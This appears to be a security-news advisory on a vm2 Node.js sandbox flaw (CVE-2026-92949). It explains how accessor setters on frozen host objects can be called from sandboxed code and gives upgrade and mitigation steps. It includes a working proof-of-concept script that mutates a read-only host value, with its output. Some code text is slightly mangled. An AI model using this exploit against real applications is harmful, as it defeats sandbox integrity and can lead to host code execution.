Listen to this Post
CVE-2026-92949 is a vulnerability in the vm2 Node.js sandbox library, affecting versions 3.9.6 through 3.11.6. The flaw allows untrusted JavaScript running inside a vm2 sandbox to bypass the integrity protections enforced by vm.freeze() and vm.readonly(). These methods are designed to prevent sandboxed scripts from adding, changing, or deleting properties on host objects explicitly marked as read-only. The vulnerability specifically targets accessor properties—properties defined with getter and setter functions—on frozen host objects. While vm2’s ReadOnlyHandler correctly blocks direct assignments and Object.defineProperty calls against data properties, it fails to restrict access to accessor descriptors. An attacker can exploit this by using Object.getOwnPropertyDescriptor() or lookupSetter() within the sandbox to retrieve the descriptor of a frozen accessor property. From this descriptor, the attacker extracts the host setter function and invokes it directly. The call reaches BaseHandler.apply, which unwraps the readonly proxy to expose the raw host object and executes the host setter against it. This allows the sandboxed script to mutate the underlying host-side value, defeating the read-only contract. No non-default VM or NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes at least one accessor property. A second route to the same sink exists via the lookupSetter method. The vulnerability does not affect data properties, which remain correctly protected by ReadOnlyHandler.set and .defineProperty. However, if a frozen object’s setter feeds into host control flow—such as setting scriptPath or handler—the bypass becomes a stepping-stone to host code execution within that embedder. The blast radius is limited to the integrity of the specific frozen host object, with downstream impact defined by the embedder. The persistence of the mutation matches the lifetime of the host object, typically process-lifetime. This issue is classified as CWE-471 (Modification of Assumed-Immutable Data) and carries a CVSS 4.0 base score of 6.3, indicating medium severity.
DailyCVE Form:
Platform: vm2
Version: 3.9.6–3.11.6
Vulnerability: Sandbox Bypass
Severity: Medium
date: 2026-09-17
Prediction: 2026-11-15
What Undercode Say:
Analytics:
Install vulnerable vm2 version npm install [email protected] Run the PoC node poc.js Check installed version npm list vm2 Update to patched version npm install [email protected] Audit dependencies npm audit Search for frozen object patterns in codebase grep -r "vm.freeze" ./src grep -r "vm.readonly" ./src
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(<code>cfg.level = 'via-set';</code>);
vm.run(<code>try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}</code>);
console.log('after [[bash]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(<code>const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');</code>);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via <strong>lookupSetter</strong>:
vm.run(<code>cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');</code>);
console.log('after <strong>lookupSetter</strong>:', _level); // → "PWNED-2"
Observed output:
after [[bash]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after <strong>lookupSetter</strong>: PWNED-2
How Exploit: (Educational Purposes!)
The exploit leverages the fact that vm2’s ReadOnlyHandler does not trap Object.getOwnPropertyDescriptor or lookupSetter. When a sandboxed script calls Object.getOwnPropertyDescriptor(cfg, ‘level’), it receives an object containing the host setter function. The script then invokes d.set.call(cfg, ‘PWNED’) directly. Because the setter is a host function, its execution unwraps the readonly proxy to the raw host object, allowing the sandbox to mutate the host-side variable. The variant using cfg.lookupSetter(‘level’).call(cfg, ‘PWNED-2’) achieves the same result through a different reflective API. Both routes bypass the documented immutability contract without requiring any non-default VM or NodeVM options.
Protection: from this CVE
Upgrade vm2 to version 3.11.7 or later, where the accessor property restriction is properly enforced. If immediate upgrade is not possible, avoid exposing host objects with setter functions to sandboxed code; remove or replace setters with no-op functions before passing objects into vm2. Apply additional runtime checks to verify that frozen or read-only objects remain unchanged, for example by deep-freezing objects after removing setters and validating that setter calls throw or no-op. Sanitize inputs and limit the surface area of exposed host objects. Use npm audit to detect vulnerable versions.
Impact:
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() or vm.readonly(), defeating the read-only contract. Data properties are not affected. This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object’s setter feeds into host control flow—such as set scriptPath(v) or set handler(fn)—this becomes a stepping-stone to host code execution in that embedder. Preconditions: embedder calls vm.freeze() or vm.readonly() on a host object that has at least one accessor own-property. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object, typically process-lifetime.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

